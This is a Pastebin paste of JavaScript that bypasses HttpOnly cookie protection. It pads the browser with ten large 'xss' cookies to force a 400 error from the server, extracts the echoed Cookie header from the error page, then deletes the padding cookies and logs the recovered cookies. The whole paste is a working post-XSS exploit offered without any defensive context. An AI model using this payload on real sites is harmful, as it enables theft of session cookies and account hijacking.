Guest User

Untitled

a guest
Jun 21st, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function setCookies (good) {
  2.     // Construct string for cookie value
  3.     var str = "";
  4.     for (var i=0; i< 819; i++) {
  5.         str += "x";
  6.     }
  7.     // Set cookies
  8.     for (i = 0; i < 10; i++) {
  9.         // Expire evil cookie
  10.         if (good) {
  11.             var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
  12.         }
  13.         // Set evil cookie
  14.         else {
  15.             var cookie = "xss"+i+"="+str+";path=/";
  16.         }
  17.         document.cookie = cookie;
  18.     }
  19. }
  20. function makeRequest() {
  21.     setCookies();
  22.     function parseCookies () {
  23.         var cookie_dict = {};
  24.         // Only react on 400 status
  25.         if (xhr.readyState === 4 && xhr.status === 400) {
  26.             // Replace newlines and match <pre> content
  27.             var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
  28.             if (content.length) {
  29.                 // Remove Cookie: prefix
  30.                 content = content[1].replace("Cookie: ", "");
  31.                 var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
  32.                 // Add cookies to object
  33.                 for (var i=0; i<cookies.length; i++) {
  34.                     var s_c = cookies[i].split('=',2);
  35.                     cookie_dict[s_c[0]] = s_c[1];
  36.                 }
  37.             }
  38.             // Unset malicious cookies
  39.             setCookies(true);
  40.             console.log(JSON.stringify(cookie_dict));
  41.         }
  42.     }
  43.     // Make XHR request
  44.     var xhr = new XMLHttpRequest();
  45.     xhr.onreadystatechange = parseCookies;
  46.     xhr.open("GET", "/", true);
  47.     xhr.send(null);
  48. }
  49. makeRequest();
Add Comment
Please, Sign In to add comment